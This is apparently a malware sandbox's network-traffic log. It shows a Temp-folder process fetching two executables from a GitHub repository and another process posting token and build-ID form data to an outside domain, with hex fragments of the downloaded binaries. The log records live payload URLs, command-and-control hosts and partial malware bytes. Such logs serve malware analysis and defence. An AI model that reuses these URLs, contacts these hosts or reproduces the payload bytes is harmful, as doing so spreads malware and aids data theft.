2024-12-21 09:16:04 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:04 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:16:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49929	20.233.83.145	443	1340	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:05 UTC	111	OUT	GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-21 09:16:06 UTC	562	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Sat, 21 Dec 2024 09:16:06 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-21 09:16:06 UTC	3380	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49930	20.233.83.145	443	1340	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:05 UTC	111	OUT	GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-21 09:16:06 UTC	562	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Sat, 21 Dec 2024 09:16:06 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-21 09:16:06 UTC	3376	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49931	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:06 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----MO8YUSRQQ9RQQQI5XLXL User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:06 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 4f 38 59 55 53 52 51 51 39 52 51 51 51 49 35 58 4c 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4d 4f 38 59 55 53 52 51 51 39 52 51 51 51 49 35 58 4c 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4d 4f 38 59 55 53 52 51 51 39 52 51 51 51 49 35 58 4c 58 4c 0d 0a 43 6f 6e 74 Data Ascii: ------MO8YUSRQQ9RQQQI5XLXLContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------MO8YUSRQQ9RQQQI5XLXLContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------MO8YUSRQQ9RQQQI5XLXLCont
2024-12-21 09:16:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:16:07 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49937	185.199.108.133	443	1340	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:07 UTC	122	OUT	GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-21 09:16:08 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1058336 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "02fab045ea6ba15dc6f39ffbdce0ff0b102325b06457bc1e31975f96b1a69b43" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 39DB:378FA2:869170:95785C:6766874B Accept-Ranges: bytes Date: Sat, 21 Dec 2024 09:16:08 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740044-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734772568.223333,VS0,VE86 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: dee8f731955f7492217304eec65d775429edccb8 Expires: Sat, 21 Dec 2024 09:21:08 GMT Source-Age: 0
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 77 a5 6d d7 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 8a 0e 00 00 28 01 00 00 00 00 00 9e a8 0e 00 00 20 00 00 00 c0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 10 00 00 02 00 00 c5 c5 10 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELwm"0( @ `
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 00 00 02 00 00 11 14 72 01 00 00 70 1f 0b 8d 16 00 00 01 25 16 02 7b 38 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b 39 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b 3a 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b 3b 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b 3c 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b 3d 00 00 0a 13 05 12 05 25 71 18 00 00 1b 8c 18 00 00 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b Data Ascii: rp%{8%q-&+oe%{9%q-&+oe%{:%q-&+oe%{;%q-&+oe%{<%q-&+oe%{=%q-&+
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 00 00 0a 6f 59 00 00 0a 39 aa 00 00 00 28 7b 00 00 0a 02 7b 74 00 00 0a 06 7b 74 00 00 0a 6f 7c 00 00 0a 39 8f 00 00 00 28 7d 00 00 0a 02 7b 75 00 00 0a 06 7b 75 00 00 0a 6f 7e 00 00 0a 2c 77 28 7f 00 00 0a 02 7b 76 00 00 0a 06 7b 76 00 00 0a 6f 80 00 00 0a 2c 5f 28 81 00 00 0a 02 7b 77 00 00 0a 06 7b 77 00 00 0a 6f 82 00 00 0a 2c 47 28 83 00 00 0a 02 7b 78 00 00 0a 06 7b 78 00 00 0a 6f 84 00 00 0a 2c 2f 28 85 00 00 0a 02 7b 79 00 00 0a 06 7b 79 00 00 0a 6f 86 00 00 0a 2c 17 28 87 00 00 0a 02 7b 7a 00 00 0a 06 7b 7a 00 00 0a 6f 88 00 00 0a 2a 16 2a 17 2a 00 13 30 03 00 a4 01 00 00 00 00 00 00 20 62 1c ce af 20 29 55 55 a5 5a 28 44 00 00 0a 02 7b 69 00 00 0a 6f 5a 00 00 0a 58 20 29 55 55 a5 5a 28 46 00 00 0a 02 7b 6a 00 00 0a 6f 5b 00 00 0a 58 20 29 55 55 Data Ascii: oY9({{t{to\|9(}{u{uo~,w({v{vo,_({w{wo,G({x{xo,/({y{yo,({z{zo***0 b )UUZ(D{ioZX )UUZ(F{jo[X )UU
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 2d 00 00 1b 6f 65 00 00 0a a2 28 66 00 00 0a 2a 1e 02 7b 90 00 00 0a 2a 1e 02 7b 91 00 00 0a 2a 1e 02 7b 92 00 00 0a 2a 1e 02 7b 93 00 00 0a 2a 1e 02 7b 94 00 00 0a 2a 1e 02 7b 95 00 00 0a 2a 1e 02 7b 96 00 00 0a 2a 1e 02 7b 97 00 00 0a 2a 1e 02 7b 98 00 00 0a 2a 1e 02 7b 99 00 00 0a 2a 1e 02 7b 9a 00 00 0a 2a 1e 02 7b 9b 00 00 0a 2a 1e 02 7b 9c 00 00 0a 2a 1e 02 7b 9d 00 00 0a 2a 1e 02 7b 9e 00 00 0a 2a 1e 02 7b 9f 00 00 0a 2a 00 00 13 30 02 00 84 00 00 00 00 00 00 00 02 28 43 00 00 0a 02 03 7d 90 00 00 0a 02 04 7d 91 00 00 0a 02 05 7d 92 00 00 0a 02 0e 04 7d 93 00 00 0a 02 0e 05 7d 94 00 00 0a 02 0e 06 7d 95 00 00 0a 02 0e 07 7d 96 00 00 0a 02 0e 08 7d 97 00 00 0a 02 0e 09 7d 98 00 00 0a 02 0e 0a 7d 99 00 00 0a 02 0e 0b 7d 9a 00 00 0a 02 0e 0c 7d 9b 00 Data Ascii: -oe(f{{{{{{{{{{{{{{{{*0(C}}}}}}}}}}}}
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b 6f 65 00 00 0a a2 25 1c 02 7b 96 00 00 0a 13 06 12 06 25 71 19 00 00 1b 8c 19 00 00 1b 2d 04 26 14 2b 0b fe 16 19 00 00 1b 6f 65 00 00 0a a2 25 1d 02 7b 97 00 00 0a 13 07 12 07 25 71 1a 00 00 1b 8c 1a 00 00 1b 2d 04 26 14 2b 0b fe 16 1a 00 00 1b 6f 65 00 00 0a a2 25 1e 02 7b 98 00 00 0a 13 08 12 08 25 71 1b 00 00 1b 8c 1b 00 00 1b 2d 04 26 14 2b 0b fe 16 1b 00 00 1b 6f 65 00 00 0a a2 25 1f 09 02 7b 99 00 00 0a 13 09 12 09 25 71 1c 00 00 1b 8c 1c 00 00 1b 2d 04 26 14 2b 0b fe 16 1c 00 00 1b 6f 65 00 00 0a a2 25 1f 0a 02 7b 9a 00 00 0a 13 0a 12 0a 25 71 1d 00 00 1b 8c 1d 00 00 1b 2d 04 26 14 2b 0b fe 16 1d 00 00 1b 6f 65 00 00 0a a2 25 1f 0b 02 7b 9b 00 00 0a 13 0b 12 0b 25 71 27 00 00 1b 8c 27 00 00 1b 2d 04 26 14 2b Data Ascii: -&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q''-&+
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 58 00 00 0a 02 7b aa 00 00 0a 6f 64 00 00 0a 58 20 29 55 55 a5 5a 28 7b 00 00 0a 02 7b ab 00 00 0a 6f 89 00 00 0a 58 20 29 55 55 a5 5a 28 7d 00 00 0a 02 7b ac 00 00 0a 6f 8a 00 00 0a 58 20 29 55 55 a5 5a 28 7f 00 00 0a 02 7b ad 00 00 0a 6f 8b 00 00 0a 58 20 29 55 55 a5 5a 28 81 00 00 0a 02 7b ae 00 00 0a 6f 8c 00 00 0a 58 2a 00 13 30 07 00 7c 02 00 00 0a 00 00 11 14 72 f8 06 00 70 1f 0f 8d 16 00 00 01 25 16 02 7b a0 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b a1 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b a2 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 Data Ascii: X{odX )UUZ({{oX )UUZ(}{oX )UUZ({oX )UUZ({oX*0\|rp%{%q-&+oe%{%q-&+oe%{%q-&+oe
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 7b bc 00 00 0a 6f 80 00 00 0a 2a 16 2a 17 2a 00 13 30 03 00 48 01 00 00 00 00 00 00 20 60 2d a1 83 20 29 55 55 a5 5a 28 44 00 00 0a 02 7b af 00 00 0a 6f 5a 00 00 0a 58 20 29 55 55 a5 5a 28 46 00 00 0a 02 7b b0 00 00 0a 6f 5b 00 00 0a 58 20 29 55 55 a5 5a 28 48 00 00 0a 02 7b b1 00 00 0a 6f 5c 00 00 0a 58 20 29 55 55 a5 5a 28 4a 00 00 0a 02 7b b2 00 00 0a 6f 5d 00 00 0a 58 20 29 55 55 a5 5a 28 4c 00 00 0a 02 7b b3 00 00 0a 6f 5e 00 00 0a 58 20 29 55 55 a5 5a 28 4e 00 00 0a 02 7b b4 00 00 0a 6f 5f 00 00 0a 58 20 29 55 55 a5 5a 28 50 00 00 0a 02 7b b5 00 00 0a 6f 60 00 00 0a 58 20 29 55 55 a5 5a 28 52 00 00 0a 02 7b b6 00 00 0a 6f 61 00 00 0a 58 20 29 55 55 a5 5a 28 54 00 00 0a 02 7b b7 00 00 0a 6f 62 00 00 0a 58 20 29 55 55 a5 5a 28 56 00 00 0a 02 7b b8 00 Data Ascii: {o***0H `- )UUZ(D{oZX )UUZ(F{o[X )UUZ(H{o\X )UUZ(J{o]X )UUZ(L{o^X )UUZ(N{o_X )UUZ(P{o`X )UUZ(R{oaX )UUZ(T{obX )UUZ(V{
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 55 55 a5 5a 28 4e 00 00 0a 02 7b c2 00 00 0a 6f 5f 00 00 0a 58 2a 13 30 07 00 04 01 00 00 0e 00 00 11 14 72 42 0b 00 70 1c 8d 16 00 00 01 25 16 02 7b bd 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b be 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b bf 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b c0 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b c1 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b c2 00 00 0a Data Ascii: UUZ(N{o_X*0rBp%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 7b c5 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b c6 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b c7 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b c8 00 00 0a 13 05 12 05 25 71 18 00 00 1b 8c 18 00 00 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b 6f 65 00 00 0a a2 25 1c 02 7b c9 00 00 0a 13 06 12 06 25 71 19 00 00 1b 8c 19 00 00 1b 2d 04 26 14 2b 0b fe 16 19 00 00 1b 6f 65 00 00 0a a2 25 1d 02 7b ca 00 00 0a 13 07 12 07 25 71 1a 00 00 1b 8c 1a 00 00 1b 2d 04 26 14 2b 0b fe 16 1a 00 00 1b 6f 65 00 00 0a a2 25 1e 02 7b cb 00 00 0a 13 08 12 08 25 71 Data Ascii: {%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 63 00 00 0a 58 20 29 55 55 a5 5a 28 58 00 00 0a 02 7b db 00 00 0a 6f 64 00 00 0a 58 20 29 55 55 a5 5a 28 7b 00 00 0a 02 7b dc 00 00 0a 6f 89 00 00 0a 58 20 29 55 55 a5 5a 28 7d 00 00 0a 02 7b dd 00 00 0a 6f 8a 00 00 0a 58 20 29 55 55 a5 5a 28 7f 00 00 0a 02 7b de 00 00 0a 6f 8b 00 00 0a 58 2a 13 30 07 00 52 02 00 00 0c 00 00 11 14 72 58 0e 00 70 1f 0e 8d 16 00 00 01 25 16 02 7b d1 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b d2 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b d3 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b d4 00 00 0a 0d 12 03 25 Data Ascii: cX )UUZ(X{odX )UUZ({{oX )UUZ(}{oX )UUZ({oX*0RrXp%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49939	185.199.108.133	443	1340	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:07 UTC	122	OUT	GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-21 09:16:08 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 147968 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "3e9c4b1e9cdeb98d530cbedabe09c3091bd9f712d1fef28624dd688e9d17d2e1" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7C72:2FFE4A:87E1F4:96C876:67668757 Accept-Ranges: bytes Date: Sat, 21 Dec 2024 09:16:08 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740020-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734772568.229434,VS0,VE287 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 0cac2b30b1410e7f4e868042f348b0f9d6eceb6d Expires: Sat, 21 Dec 2024 09:21:08 GMT Source-Age: 0
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 05 00 a3 98 61 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 de 01 00 00 60 00 00 00 00 00 00 c0 85 01 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 23 00 00 04 00 00 00 00 00 00 02 00 00 82 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 17 02 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELag`@#(
